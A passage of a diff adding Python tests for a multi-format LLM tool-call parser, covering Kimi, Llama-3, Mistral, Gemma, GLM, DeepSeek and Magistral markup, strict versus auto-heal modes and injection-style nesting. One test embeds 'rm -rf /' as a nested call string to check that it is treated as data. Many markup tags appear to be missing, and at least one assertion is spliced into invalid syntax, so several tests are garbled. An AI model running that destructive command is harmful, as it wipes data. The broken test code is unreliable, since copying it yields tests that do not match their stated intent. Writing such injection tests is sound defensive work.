TestKimiStrict: + _SB = "<|tool_calls_section_begin|>" + _KB = "<|tool_call_begin|>" + _AB = "<|tool_call_argument_begin|>" + _KE = "<|tool_call_end|>" + _SE = "<|tool_calls_section_end|>" + + def test_full_kimi_call_is_accepted(self): + text = self._SB + self._KB + "functions.x:0" + self._AB + '{"a":1}' + self._KE + self._SE + calls = parse_tool_calls_from_text(text, allow_incomplete = False) + assert len(calls) == 1 + assert calls[0]["function"]["name"] == "x" + + def test_kimi_call_without_call_end_is_rejected(self): + # Section closed but the call lacks <|tool_call_end|>: reject in strict. + text = self._SB + self._KB + "functions.x:0" + self._AB + '{"a":1}' + self._SE + assert parse_tool_calls_from_text(text, allow_incomplete = False) == [] + assert len(parse_tool_calls_from_text(text, allow_incomplete = True)) == 1 + + def test_kimi_without_section_end_is_rejected(self): + # No <|tool_calls_section_end|>: truncated section, reject in strict. + text = self._SB + self._KB + "functions.x:0" + self._AB + '{"a":1}' + self._KE + assert parse_tool_calls_from_text(text, allow_incomplete = False) == [] + assert len(parse_tool_calls_from_text(text, allow_incomplete = True)) == 1 + + +class TestParserLinearity: + """Llama-3 ``.call`` kwargs and Mistral-array healing must stay linear (a regex-per-offset blew up on long truncated bodies).""" + + def test_llama3_unterminated_call_arg_is_linear(self): + import time + + text = '<|python_tag|>upload.call(data="' + "A" * 200_000 # no closing quote/paren + t0 = time.perf_counter() + parse_tool_calls_from_text(text, allow_incomplete = True) + assert time.perf_counter() - t0 < 2.0 + + def test_llama3_huge_wordrun_call_arg_is_linear(self): + import time + + text = "<|python_tag|>upload.call(" + "a" * 200_000 # giant word run, no '=' + t0 = time.perf_counter() + parse_tool_calls_from_text(text, allow_incomplete = True) + assert time.perf_counter() - t0 < 2.0 + + def test_mistral_unclosed_array_open_braces_is_linear(self): + import time + + text = "[TOOL_CALLS] [" + "{" * 200_000 # unclosed array, all open braces + t0 = time.perf_counter() + parse_tool_calls_from_text(text, allow_incomplete = True) + assert time.perf_counter() - t0 < 2.0 + + def test_gemma_wrapperless_deep_nesting_is_linear(self): + # Wrapper-less Gemma ``call:f{a:{a:{...}}}`` deep nesting must parse in linear time (no quadratic re-scan). + import time + + def nested(d): + return "call:f{a:" + "{a:" * d + "x:1" + "}" * d + "}" + + def best_ms(depth): + text = nested(depth) + best = float("inf") + for _ in range(5): + t0 = time.perf_counter() + calls = parse_tool_calls_from_text(text) + best = min(best, time.perf_counter() - t0) + assert calls and json.loads(calls[0]["function"]["arguments"]), "nested args dropped" + return best + + t200 = best_ms(200) + t400 = best_ms(400) + assert t400 < t200 * 3.0, (t200, t400) + + def test_llama3_call_kwargs_still_parse(self): + text = '<|python_tag|>do.call(s="hi 😀", n=42, f=1.5, b=true, z=null)' + calls = parse_tool_calls_from_text(text, allow_incomplete = True) + assert len(calls) == 1 + assert json.loads(calls[0]["function"]["arguments"]) == { + "s": "hi 😀", + "n": 42, + "f": 1.5, + "b": True, + "z": None, + } + + def test_llama3_call_scientific_notation_args_parse(self): + # Scientific notation must decode as float (the old regex truncated 1e-3 -> 1). + text = "<|python_tag|>calc.call(x=1e-3, y=-2E+4, z=0.5e2, n=42)" + calls = parse_tool_calls_from_text(text, allow_incomplete = True) + assert len(calls) == 1 + args = json.loads(calls[0]["function"]["arguments"]) + assert args == {"x": 1e-3, "y": -2e4, "z": 50.0, "n": 42} + assert isinstance(args["n"], int) and isinstance(args["x"], float) + + def test_mistral_unclosed_array_recovers_top_level_objects(self): + text = ( + '[TOOL_CALLS] [{"name":"a","arguments":{"k":1}},' + '{"name":"b","arguments":{"j":2}}' # missing closing ] + ) + calls = parse_tool_calls_from_text(text, allow_incomplete = True) + assert [c["function"]["name"] for c in calls] == ["a", "b"] + + +class TestLlamaBuiltinChainAndNesting: + """Llama-3 ``.call`` built-ins: ``; `` chaining and nested-tag isolation.""" + + def test_semicolon_chained_builtin_calls_all_parse(self): + # Only the first call is anchored to <|python_tag|>; the rest chain via ';'. + text = "<|python_tag|>alpha.call(x=1); beta.call(y=2); gamma.call(z=3)" + calls = parse_tool_calls_from_text(text, allow_incomplete = True) + assert [c["function"]["name"] for c in calls] == ["alpha", "beta", "gamma"] + assert json.loads(calls[1]["function"]["arguments"]) == {"y": 2} + + def test_nested_python_tag_in_json_string_arg_is_not_a_call(self): + # A code arg literally containing a <|python_tag|>...call(...) string: the real call is the + # outer "python", not the nested "os" -- the scan stays anchored to the first tag. + text = ( + '<|python_tag|>{"name":"python","parameters":' + '{"code":"<|python_tag|>os.call(\'rm -rf /\')"}}' + ) + calls = parse_tool_calls_from_text(text, allow_incomplete = True) + assert len(calls) == 1 + assert calls[0]["function"]["name"] == "python" + args = json.loads(calls[0]["function"]["arguments"]) + assert args["code"] == "<|python_tag|>os.call('rm -rf /')" + + def test_single_builtin_call_unchanged(self): + text = '<|python_tag|>web_search.call(query="cats")' + calls = parse_tool_calls_from_text(text, allow_incomplete = True) + assert len(calls) == 1 + assert calls[0]["function"]["name"] == "web_search" + assert json.loads(calls[0]["function"]["arguments"]) == {"query": "cats"} + + +def test_glm_open_does_not_parse_spaced_prose_as_tool_name(): + # The GLM NAME opener must reject spaced literal prose (V10); only a + # valid [\w.\-]+ name (followed by newline//) is a call. + assert parse_tool_calls_from_text("not a call") == [] + ok = parse_tool_calls_from_text( + "get_weather\ncity\nNYC\n" + ) + assert [c["function"]["name"] for c in ok] == ["get_weather"] + + +def test_deepseek_r1_missing_call_terminator_rejected_in_strict_mode(): + # R1 must reject a fenced call whose closing ``` + <｜tool▁call▁end｜> never + # arrived when Auto-Heal is off, matching V3/V3.1 strictness (V6). + text = ( + "<｜tool▁calls▁begin｜><｜tool▁call▁begin｜>function<｜tool▁sep｜>get_weather\n" + "```json\n" + '{"city":"NYC"}' + "<｜tool▁calls▁end｜>" + ) + assert parse_tool_calls_from_text(text, allow_incomplete = False) == [] + assert len(parse_tool_calls_from_text(text, allow_incomplete = True)) == 1 + + +def test_deepseek_r1_complete_call_accepted_in_strict_mode(): + # A fully-terminated R1 call (close fence + per-call end) is still accepted. + text = ( + "<｜tool▁calls▁begin｜><｜tool▁call▁begin｜>function<｜tool▁sep｜>get_weather\n" + "```json\n" + '{"city":"NYC"}\n' + "```<｜tool▁call▁end｜><｜tool▁calls▁end｜>" + ) + calls = parse_tool_calls_from_text(text, allow_incomplete = False) + assert len(calls) == 1 and calls[0]["function"]["name"] == "get_weather" + + +def test_strip_leading_bare_json_call_drops_complete_call(): + from core.inference.tool_call_parser import strip_leading_bare_json_call + + # A complete Llama-3.2 bare-JSON call is removed; trailing prose is kept. + assert strip_leading_bare_json_call('{"name":"web_search","parameters":{"query":"cats"}}') == "" + assert ( + strip_leading_bare_json_call('{"name":"python","parameters":{"code":"x"}} done') == "done" + ) + + +def test_strip_leading_bare_json_call_drops_truncated_call(): + from core.inference.tool_call_parser import strip_leading_bare_json_call + + # A truncated call (no closing brace) collapses to "" -- nothing recoverable. + assert ( + strip_leading_bare_json_call('{"name":"web_search","parameters":{"query":"weather in S') + == "" + ) + + +def test_strip_leading_bare_json_call_preserves_plain_json_and_prose(): + from core.inference.tool_call_parser import strip_leading_bare_json_call + + # No "name" key -> plain JSON answer, left untouched. + assert ( + strip_leading_bare_json_call('{"result": 42, "ok": true}') == '{"result": 42, "ok": true}' + ) + # Prose before the brace -> not a leading bare call, untouched. + assert strip_leading_bare_json_call('here is {"name":"x"}') == 'here is {"name":"x"}' + # Ordinary text untouched. + assert strip_leading_bare_json_call("just a sentence.") == "just a sentence." + + +def test_glm_literal_close_tag_in_string_arg_not_truncated(): + import json + + from core.inference.tool_call_parser import parse_tool_calls_from_text + + # A GLM string argument may legitimately contain the literal close tag ````. + text = ( + "run_code\n" + "code\n" + 'print("")\n' + "" + ) + calls = parse_tool_calls_from_text(text, allow_incomplete = True) + assert len(calls) == 1 + args = json.loads(calls[0]["function"]["arguments"]) + assert args["code"] == 'print("")', args + + +def test_glm_truncated_block_rejected_in_strict_mode_but_healed_otherwise(): + from core.inference.tool_call_parser import parse_tool_calls_from_text + + # No close: strict mode (Auto-Heal off) rejects the truncated + # block; with Auto-Heal it keeps the partial call. + text = "get_weather\ncity\nNYC" + assert parse_tool_calls_from_text(text, allow_incomplete = False) == [] + healed = parse_tool_calls_from_text(text, allow_incomplete = True) + assert len(healed) == 1 and healed[0]["function"]["name"] == "get_weather" + + +def test_truncated_wrapperless_gemma_call_is_stripped(): + from core.inference.tool_call_parser import strip_tool_markup + + # A wrapper-less Gemma ``call:NAME{...`` cut off mid-arguments (no closing + # brace) must not leak the raw call into the visible stream. + text = 'Sure!\ncall:web_search{"query": "weather in San Fr' + stripped = strip_tool_markup(text, final = True) + assert "call:web_search" not in stripped, repr(stripped) + assert stripped.strip() == "Sure!" + + +def test_complete_wrapperless_gemma_call_keeps_trailing_prose(): + from core.inference.tool_call_parser import strip_tool_markup + + # The truncation pattern must run AFTER the closed form, so a complete call + # followed by prose keeps the prose instead of eating to EOS. + text = 'call:web_search{"query": "cats"} Here you go.' + stripped = strip_tool_markup(text, final = True) + assert "call:web_search" not in stripped + assert stripped.strip() == "Here you go." + + +def test_bare_json_gated_on_enabled_tool_names(): + from core.inference.tool_call_parser import parse_tool_calls_from_text + + alice = '{"name":"Alice","parameters":{"age":30}}' + real = '{"name":"web_search","parameters":{"query":"cats"}}' + # With an enabled set, markerless JSON whose name is not a tool is NOT a call. + assert parse_tool_calls_from_text(alice, enabled_tool_names = {"web_search"}) == [] + # A real call (enabled name) still parses. + got = parse_tool_calls_from_text(real, enabled_tool_names = {"web_search"}) + assert [c["function"]["name"] for c in got] == ["web_search"] + # No enabled set (None) keeps the name-agnostic behaviour for direct callers. + assert [c["function"]["name"] for c in parse_tool_calls_from_text(alice)] == ["Alice"] + # Marker-based forms are NOT gated (an explicit signal is a real call attempt). + xml = '{"name":"Alice","arguments":{}}' + assert parse_tool_calls_from_text(xml, enabled_tool_names = {"web_search"}) + + +def test_strip_leading_bare_json_call_gated_on_enabled_tool_names(): + from core.inference.tool_call_parser import strip_leading_bare_json_call + + alice = '{"name":"Alice","parameters":{"age":30}}' + # Not an enabled tool -> ordinary JSON answer, kept verbatim. + assert strip_leading_bare_json_call(alice, {"web_search"}) == alice + # Enabled tool -> a real call, stripped (trailing prose kept). + assert ( + strip_leading_bare_json_call( + '{"name":"web_search","parameters":{"q":1}} hi', {"web_search"} + ) + == "hi" + ) + + +def test_function_xml_strip_keeps_literal_close_tag_in_param_value(): + from core.inference.tool_call_parser import strip_tool_markup + + # The strip uses the LAST (like the parser) so a literal in a value doesn't + # truncate it; separate calls still strip independently. + text = 'print("") done' + assert strip_tool_markup(text, final = True) == "done" + two = ( + "a 1 mid " + "2 end" + ) + assert strip_tool_markup(two, final = True) == "a mid end" + + +def test_function_xml_strip_keeps_trailing_text_after_literal_open_tag(): + from core.inference.tool_call_parser import parse_tool_calls_from_text, strip_tool_markup + + # A literal ```` opener inside a parameter value is data, not a call: the scan-based + # strip keeps " done" (the old negative-lookahead regex ate the trailing prose). + text = 'print("") done' + assert parse_tool_calls_from_text(text)[0]["function"]["name"] == "python" + assert strip_tool_markup(text, final = True) == "done" + # Non-final (streaming) keeps an unclosed call buffered, does not eat prose early. + open_text = 'pre print("")' + assert strip_tool_markup(open_text, final = False) == open_text + + +def test_final_strip_removes_magistral_think_reasoning(): + from core.inference.tool_call_parser import strip_tool_markup + + # Magistral emits reasoning as ``[THINK]...[/THINK]`` (bracket form, not ````); + # at end-of-turn it must be dropped so it doesn't leak into display / history. + text = "[THINK]The user greeted me, I should say hi.[/THINK]Hello! How can I help?" + assert strip_tool_markup(text, final = True) == "Hello! How can I help?" + # A ``[TOOL_CALLS]`` living inside the reasoning goes with it. + with_call = '[THINK]Maybe I should search.[/THINK][TOOL_CALLS]search{"q":"x"}' + assert strip_tool_markup(with_call, final = True) == "" + + +def test_streaming_strip_keeps_magistral_think_buffered(): + from core.inference.tool_call_parser import strip_tool_markup + + # Mid-stream (final=False) the reasoning block is left intact; only the + # end-of-turn pass removes it. + text = "[THINK]still thinking" + assert strip_tool_markup(text, final = False) == text + + +def test_final_strip_leaves_non_magistral_bracket_text_untouched(): + from core.inference.tool_call_parser import strip_tool_markup + + # Only a LEADING ``[THINK]`` block is reasoning; unrelated bracketed prose stays. + text = "See [THINK about it] later" + assert strip_tool_markup(text, final = True) == "See [THINK about it] later" + + +def test_strip_leading_bare_json_call_ignores_nested_name(): + from core.inference.tool_call_parser import strip_leading_bare_json_call + + # A nested ``"name"`` must NOT gate the strip (only a TOP-LEVEL enabled name is a call); the + # ordinary JSON answer is kept verbatim, truncated or complete. + nested_trunc = '{"result":{"name":"web_search","age":' + nested_full = '{"result":{"name":"web_search","age":1}}' + assert strip_leading_bare_json_call(nested_trunc, {"web_search"}) == nested_trunc + assert strip_leading_bare_json_call(nested_full, {"web_search"}) == nested_full + # A real top-level call (even with a top-level array before the name) still strips. + assert ( + strip_leading_bare_json_call( + '{"data":[1,2],"name":"web_search","parameters":{}}', {"web_search"} + ) + == "" + ) + + +def test_mistral_single_object_call_is_stripped_for_display(): + from core.inference.tool_call_parser import ( + _strip_mistral_closed_calls, + parse_tool_calls_from_text, + ) + + # The parser accepts the single-object [TOOL_CALLS]{...} shape, so the display + # strip must remove it too (asymmetry would leak the raw object). + text = '[TOOL_CALLS]{"name":"web_search","arguments":{"filters":{"date":"2024"}}} tail' + assert [c["function"]["name"] for c in parse_tool_calls_from_text(text)] == ["web_search"] + assert _strip_mistral_closed_calls(text) == " tail" + # A literal [TOOL_CALLS] in prose (no following object) is left untouched. + assert _strip_mistral_closed_calls("See the [TOOL_CALLS] docs") == "See the [TOOL_CALLS] docs" + + +def test_tool_call_parser_declares_future_annotations_for_py39_import(): + # F1: the parser is imported standalone on python >=3.9, where its PEP 604 ``X | None`` + # annotations need ``from __future__ import annotations``; guard that the import stays. + from pathlib import Path + src = ( + Path(__file__).resolve().parent.parent / "core" / "inference" / "tool_call_parser.py" + ).read_text() + assert "from __future__ import annotations" in src + + +def test_glm_strip_treats_literal_close_tag_in_arg_value_as_data(): + # Core strip parity: a literal inside a GLM is argument data, so the whole call is stripped (no leaked tail). + from core.inference.tool_call_parser import strip_tool_markup + + text = ( + "web_search\nquery\n" + "see tag\n tail" + ) + assert strip_tool_markup(text, final = True) == "tail" + calls = parse_tool_calls_from_text(text) + assert [c["function"]["name"] for c in calls] == ["web_search"] + assert json.loads(calls[0]["function"]["arguments"]) == {"query": "see tag"} + + +def test_bare_json_function_alias_parses_and_strips_symmetrically(): + # The bare-JSON parser accepts the "function" alias for the call name; + # strip_leading_bare_json_call must recognise it too (parser/strip symmetry). + from core.inference.tool_call_parser import ( + parse_tool_calls_from_text, + strip_leading_bare_json_call, + _top_level_bare_json_name, + ) + + enabled = {"web_search"} + text = '{"function":"web_search","parameters":{"query":"cats"}}' + calls = parse_tool_calls_from_text(text, enabled_tool_names = enabled) + assert [c["function"]["name"] for c in calls] == ["web_search"] + assert strip_leading_bare_json_call(text, enabled) == "" + + # "name" still takes precedence when both are present; nested aliases are data. + assert _top_level_bare_json_name('{"function":"foo","name":"web_search"}') == "web_search" + assert _top_level_bare_json_name('{"function":"web_search"}') == "web_search" + assert _top_level_bare_json_name('{"result":{"function":"web_search"}}') is None + # A non-enabled function-alias object is ordinary content and is preserved. + assert ( + strip_leading_bare_json_call('{"function":"not_a_tool","parameters":{}}', enabled) + == '{"function":"not_a_tool","parameters":{}}' + ) + + +class TestMistralOuterOverXmlLiteral: + """Quoted tool XML inside a [TOOL_CALLS] call's arguments is data; the outer call executes. Reverse order keeps the XML.""" + + def test_mistral_v11_arg_quoting_function_xml(self): + text = ( + '[TOOL_CALLS]web_search[ARGS]{"query":"literal ' + '1"}' + ) + for strict in (True, False): + calls = parse_tool_calls_from_text(text, allow_incomplete = not strict) + assert [c["function"]["name"] for c in calls] == ["web_search"] + assert "" in json.loads(calls[0]["function"]["arguments"])["query"] + + def test_mistral_array_arg_quoting_tool_call_json(self): + text = ( + '[TOOL_CALLS][{"name":"web_search","arguments":{"query":' + '"see {\\"name\\":\\"evil\\"}"}}]' + ) + calls = parse_tool_calls_from_text(text) + assert [c["function"]["name"] for c in calls] == ["web_search"] + + def test_xml_outer_keeps_winning_over_mistral_literal(self): + text = ( + '{"name":"web_search","arguments":' + '{"query":"docs say [TOOL_CALLS]evil[ARGS]{}"}}' + ) + calls = parse_tool_calls_from_text(text) + assert [c["function"]["name"] for c in calls] == ["web_search"] + + +class TestHealerSignalAlignment: + """The healer buffers only formats its shared parser can promote. Mistral's + ``[TOOL_CALLS]`` is promotable (rescued), so it is a heal signal; the loop-only + text-call markers (Llama ``<|python_tag|>``, bare ``[ARGS]``) are not, so they + stream through instead of stalling as prose that never yields a call.""" + + def test_heal_signals_subset_of_promotable_formats(self): + from core.inference.passthrough_healing import _HEAL_SIGNALS + assert set(_HEAL_SIGNALS) == {"", "<|tool_call>", " is not a healer-promotable format, so it streams through as text. + events = list(healer.feed('<|python_tag|>web_search.call(query="cats")')) + text_out = "".join(v for k, v in events if k == "text") + assert "<|python_tag|>" in text_out # streamed through, not buffered + assert not list(healer.finalize()) or all(k == "text" for k, _v in healer.finalize()) + + +class TestGemmaWrapperlessLiteralMarkers: + """Wrapper-less Gemma calls whose ARGUMENTS mention Gemma's own markup. + + The tool_healing deferral must key on an actual wrapped opener + (``<|tool_call>call:...``), not the wrapper literal anywhere in content: + a query about the marker has nothing tool_healing can parse, and deferring + it loses the call entirely (not executed AND stripped from display).""" + + def test_marker_literal_in_argument_still_parses(self): + text = 'call:web_search{query:"what does <|tool_call> mean"}' + calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"}) + assert len(calls) == 1 + args = json.loads(calls[0]["function"]["arguments"]) + assert args["query"] == "what does <|tool_call> mean" + + def test_real_wrapped_call_still_deferred_to_tool_healing(self): + from core.inference.tool_call_parser import _parse_gemma_tool_calls + + # An actual wrapped opener present: the Gemma fallback must keep + # deferring to the shared tool_healing parser that owns that form. + text = '<|tool_call>call:web_search{query:<|"|>cats<|"|>}' + assert _parse_gemma_tool_calls(text, id_offset = 0) == [] + + def test_single_quoted_brace_does_not_truncate_code(self): + text = "call:python{code:print('}')}" + calls = parse_tool_calls_from_text(text, enabled_tool_names = {"python"}) + assert len(calls) == 1 + args = json.loads(calls[0]["function"]["arguments"]) + assert args["code"] == "print('}')" + + def test_single_quoted_brace_strip_span_covers_whole_call(self): + from core.inference.tool_call_parser import strip_tool_markup + + text = "call:python{code:print('}')} Done." + stripped = strip_tool_markup(text, final = True, enabled_tool_names = {"python"}) + assert "call:python" not in stripped + assert "')}" not in stripped + assert stripped.strip() == "Done." + + +class TestGlmEmbeddedClosePair: + """A GLM value whose string literal embeds the full close-tag pair + ```` (code documenting the GLM format) must not be + truncated at the embedded pair: a structural close sits at balanced quote + state, an embedded one is inside an open string literal.""" + + def test_embedded_pair_inside_quoted_value_not_structural(self): + text = ( + "python\n" + "code\n" + 'print("")\nx = 1\n' + "" + ) + calls = parse_tool_calls_from_text(text, allow_incomplete = True) + assert len(calls) == 1 + args = json.loads(calls[0]["function"]["arguments"]) + assert args["code"] == 'print("")\nx = 1' + + def test_strip_covers_the_full_call(self): + from core.inference.tool_call_parser import strip_tool_markup + + text = ( + "python\n" + "code\n" + 'print("")\nx = 1\n' + " Done." + ) + stripped = strip_tool_markup(text, final = True) + assert "arg_value" not in stripped + assert stripped.strip() == "Done." + + def test_unbalanced_apostrophe_falls_back_to_first_candidate(self): + # Prose-like value with an apostrophe: no candidate reaches balanced + # quote state, so the first token-valid close wins (prior behavior). + text = ( + "web_search\n" + "query\n" + "it's fine\n" + "" + ) + calls = parse_tool_calls_from_text(text, allow_incomplete = True) + assert len(calls) == 1 + args = json.loads(calls[0]["function"]["arguments"]) + assert args["query"] == "it's fine" + + +class TestPythonTagLiteralInsideMistralArgs: + """A python_tag LITERAL inside a leading Mistral call's arguments is data; the outer call executes.""" + + def test_mistral_arg_quoting_python_tag_call(self): + text = ( + '[TOOL_CALLS] [{"name": "web_search", "arguments": ' + '{"query": "what is <|python_tag|>evil.call(x=1)"}}]' + ) + calls = parse_tool_calls_from_text(text) + assert [c["function"]["name"] for c in calls] == ["web_search"] + args = json.loads(calls[0]["function"]["arguments"]) + assert args["query"] == "what is <|python_tag|>evil.call(x=1)" + + +class TestPythonTagOuterOverXmlLiteral: + """A leading Llama-3 ``<|python_tag|>`` call owns the turn: tool XML/Mistral + markup quoted in a ``.call(...)`` string argument (or in trailing prose) is + data, so the outer call executes -- parity with the bare-JSON / Mistral / + attribute-form leading-ownership rules. XML before the tag keeps normal order.""" + + def test_call_arg_quoting_complete_function_xml(self): + # A closed in a .call() code arg must not beat the leading python_tag call. + text = ( + '<|python_tag|>python.call(code="' + '1")' + ) + calls = parse_tool_calls_from_text(text) + assert [c["function"]["name"] for c in calls] == ["python"] + args = json.loads(calls[0]["function"]["arguments"]) + assert args["code"] == "1" + + def test_call_arg_quoting_bare_function_tag_in_query(self): + # A query mentioning must search, not execute a phantom tool. + text = '<|python_tag|>web_search.call(query="how do I use in llama")' + calls = parse_tool_calls_from_text(text) + assert [c["function"]["name"] for c in calls] == ["web_search"] + args = json.loads(calls[0]["function"]["arguments"]) + assert args["query"] == "how do I use in llama" + + def test_call_arg_quoting_tool_call_json(self): + text = ( + "<|python_tag|>save_file.call(content=" + '"{\\"name\\": \\"delete\\", \\"arguments\\": {}}")' + ) + calls = parse_tool_calls_from_text(text) + assert [c["function"]["name"] for c in calls] == ["save_file"] + + def test_json_form_code_arg_quoting_function_xml(self): + # JSON emission: a in the code arg is data; the outer "python" call runs. + text = ( + '<|python_tag|>{"name":"python","parameters":' + '{"code":"ls"}}' + ) + calls = parse_tool_calls_from_text(text) + assert [c["function"]["name"] for c in calls] == ["python"] + args = json.loads(calls[0]["function"]["arguments"]) + assert args["code"] == "ls" + + def test_call_arg_quoting_mistral_trigger(self): + text = '<|python_tag|>web_search.call(query="see [TOOL_CALLS]evil[ARGS]{}")' + calls = parse_tool_calls_from_text(text) + assert [c["function"]["name"] for c in calls] == ["web_search"] + + def test_leading_call_wins_over_trailing_xml(self): + # A leading python_tag call owns the turn even when a real XML literal follows. + text = ( + '<|python_tag|>web_search.call(query="cats") ' + "1" + ) + calls = parse_tool_calls_from_text(text) + assert [c["function"]["name"] for c in calls] == ["web_search"] + + def test_xml_before_python_tag_keeps_xml_order(self): + # A foreign signal BEFORE the tag keeps normal document order (XML wins). + text = ( + "x " + '<|python_tag|>python.call(code="y")' + ) + calls = parse_tool_calls_from_text(text) + assert [c["function"]["name"] for c in calls] == ["web_search"] + + +class TestBareJsonOuterOverXmlLiteral: + """Quoted tool XML inside a leading bare-JSON call is data; XML before the JSON keeps normal order.""" + + def test_bare_json_code_arg_quoting_function_xml(self): + text = ( + '{"name": "python", "arguments": ' + '{"code": "run() # ls"}}' + ) + calls = parse_tool_calls_from_text(text, enabled_tool_names = {"python"}) + assert [c["function"]["name"] for c in calls] == ["python"] + args = json.loads(calls[0]["function"]["arguments"]) + assert args["code"] == "run() # ls" + + def test_bare_json_outer_unrestricted_mode(self): + text = '{"name": "python", "parameters": {"code": "ls"}}' + calls = parse_tool_calls_from_text(text) + assert [c["function"]["name"] for c in calls] == ["python"] + + def test_xml_before_json_keeps_xml_order(self): + text = ( + "cats" + ' {"name": "python", "arguments": {"code": "x"}}' + ) + calls = parse_tool_calls_from_text(text) + assert [c["function"]["name"] for c in calls] == ["web_search"] + + +class TestMagistralThinkRehearsal: + """A call rehearsed inside [THINK]...[/THINK] is reasoning; the real call after wins, and parse agrees with strip.""" + + def test_function_xml_rehearsal_in_think_is_not_promoted(self): + text = ( + '[THINK]I could emit {"query":"x"}' + ' here[/THINK][TOOL_CALLS] [{"name":"terminal","arguments":{"cmd":"ls"}}]' + ) + calls = parse_tool_calls_from_text(text) + assert [c["function"]["name"] for c in calls] == ["terminal"] + + def test_hermes_rehearsal_in_think_is_not_promoted(self): + text = ( + '[THINK]maybe {"name":"web_search","arguments":' + '{"query":"x"}}[/THINK]' + '[TOOL_CALLS] [{"name":"terminal","arguments":{"cmd":"ls"}}]' + ) + calls = parse_tool_calls_from_text(text) + assert [c["function"]["name"] for c in calls] == ["terminal"] + + def test_unclosed_think_parses_nothing(self): + text = '[THINK]let me try {"query":"x"}' + assert parse_tool_calls_from_text(text) == [] + + +class TestGemmaUnquotedApostrophes: + """Quotes open strings only at value-start context: an apostrophe inside + an unquoted wrapper-less value (contractions, possessives) is prose, and + treating it as an opener swallowed the closing brace and lost the call.""" + + def test_contraction_in_unquoted_query_parses(self): + text = "call:web_search{query:what's the weather}" + calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"}) + assert len(calls) == 1 + args = json.loads(calls[0]["function"]["arguments"]) + assert args["query"] == "what's the weather" + + def test_contraction_does_not_swallow_next_key(self): + text = "call:web_search{query:what's up, n:3}" + calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"}) + assert len(calls) == 1 + args = json.loads(calls[0]["function"]["arguments"]) + assert args["query"] == "what's up" + assert args["n"] == 3 + + def test_contraction_strip_span_covers_whole_call(self): + from core.inference.tool_call_parser import strip_tool_markup + + text = "call:web_search{query:what's the weather} Done." + stripped = strip_tool_markup(text, final = True, enabled_tool_names = {"web_search"}) + assert "call:web_search" not in stripped + assert stripped.strip() == "Done." + + def test_quoted_values_still_hide_delimiters(self): + text = 'call:web_search{query:"weather, location: Boston", n:2}' + calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"}) + assert len(calls) == 1 + args = json.loads(calls[0]["function"]["arguments"]) + assert args["query"] == "weather, location: Boston" + assert args["n"] == 2 + + +class TestGlmKeyWithoutValue: + """A GLM with no tag: strict mode rejects the call + (same contract as an unclosed value) instead of executing it with the + argument silently dropped; Auto-Heal keeps the lenient skip.""" + + def test_strict_rejects_key_without_value(self): + text = "web_search\nquery\n" + assert parse_tool_calls_from_text(text, allow_incomplete = False) == [] + + def test_heal_keeps_the_lenient_skip(self): + text = "web_search\nquery\n" + calls = parse_tool_calls_from_text(text, allow_incomplete = True) + assert len(calls) == 1 + assert calls[0]["function"]["name"] == "web_search" + assert json.loads(calls[0]["function"]["arguments"]) == {} + + +class TestDisabledBareJsonLiteralNotPromoted: + """A leading non-enabled-name object is content: nothing inside promotes, and a call after it still parses.""" + + def test_literal_inside_disabled_json_stays_data(self): + text = ( + '{"name": "Alice", "note": "try ' + 'x"}' + ) + assert parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"}) == [] + + def test_python_tag_literal_inside_disabled_json_stays_data(self): + text = '{"name": "Alice", "note": "<|python_tag|>web_search.call(query=1)"}' + assert parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"}) == [] + + def test_real_call_after_disabled_json_still_parses(self): + text = ( + '{"name": "Alice", "note": "x"} ' + '{"name": "web_search", "arguments": {"query": "cats"}}' + ) + calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"}) + assert [c["function"]["name"] for c in calls] == ["web_search"] + + +class TestDeepSeekMarkerInsideLeadingEnvelopes: + """A DeepSeek/Kimi marker quoted inside a leading bare-JSON or Mistral + call's argument strings is data: the pre-pass must not promote the + embedded no-arg literal and drop the real outer call.""" + + def test_marker_inside_leading_json_call_stays_data(self): + text = ( + '{"name": "web_search", "arguments": ' + '{"query": "what is <｜tool▁calls▁begin｜>...{}..."}}' + ) + calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"}) + assert [c["function"]["name"] for c in calls] == ["web_search"] + args = json.loads(calls[0]["function"]["arguments"]) + assert "tool▁calls▁begin" in args["query"] + + def test_marker_inside_leading_mistral_call_stays_data(self): + text = ( + '[TOOL_CALLS] [{"name": "web_search", "arguments": ' + '{"query": "docs on <｜tool▁calls▁begin｜> markers"}}]' + ) + calls = parse_tool_calls_from_text(text) + assert [c["function"]["name"] for c in calls] == ["web_search"] + + def test_standalone_deepseek_call_still_parses(self): + text = ( + "<｜tool▁calls▁begin｜><｜tool▁call▁begin｜>function<｜tool▁sep｜>web_search\n" + '```json\n{"query": "cats"}\n```<｜tool▁call▁end｜><｜tool▁calls▁end｜>' + ) + calls = parse_tool_calls_from_text(text) + assert [c["function"]["name"] for c in calls] == ["web_search"] + + +class TestMistralLiteralInsideLeadingJson: + """A [TOOL_CALLS] literal quoted inside a leading JSON object must not be promoted over it.""" + + def test_outer_json_call_wins_over_mistral_literal(self): + text = '{"name": "python", "arguments": {"code": "[TOOL_CALLS]web_search{}"}}' + calls = parse_tool_calls_from_text(text, enabled_tool_names = {"python", "web_search"}) + assert [c["function"]["name"] for c in calls] == ["python"] + args = json.loads(calls[0]["function"]["arguments"]) + assert args["code"] == "[TOOL_CALLS]web_search{}" + + def test_disabled_outer_json_keeps_mistral_literal_as_data(self): + text = '{"name": "Alice", "note": "[TOOL_CALLS]web_search{}"}' + assert parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"}) == [] + + +class TestGemmaWrappedWhitespace: + """Whitespace drift around ``call``/``:`` in wrapped Gemma calls must still parse (no fallback exists).""" + + def test_space_after_call_colon_parses(self): + text = '<|tool_call>call: web_search{query:<|"|>cats<|"|>}' + calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"}) + assert [c["function"]["name"] for c in calls] == ["web_search"] + assert json.loads(calls[0]["function"]["arguments"]) == {"query": "cats"} + + def test_space_around_colon_parses(self): + text = '<|tool_call>call : web_search{query:<|"|>cats<|"|>}' + calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"}) + assert [c["function"]["name"] for c in calls] == ["web_search"] + + def test_strict_mode_still_requires_the_closing_tag(self): + text = '<|tool_call>call: web_search{query:<|"|>cats<|"|>}' + assert 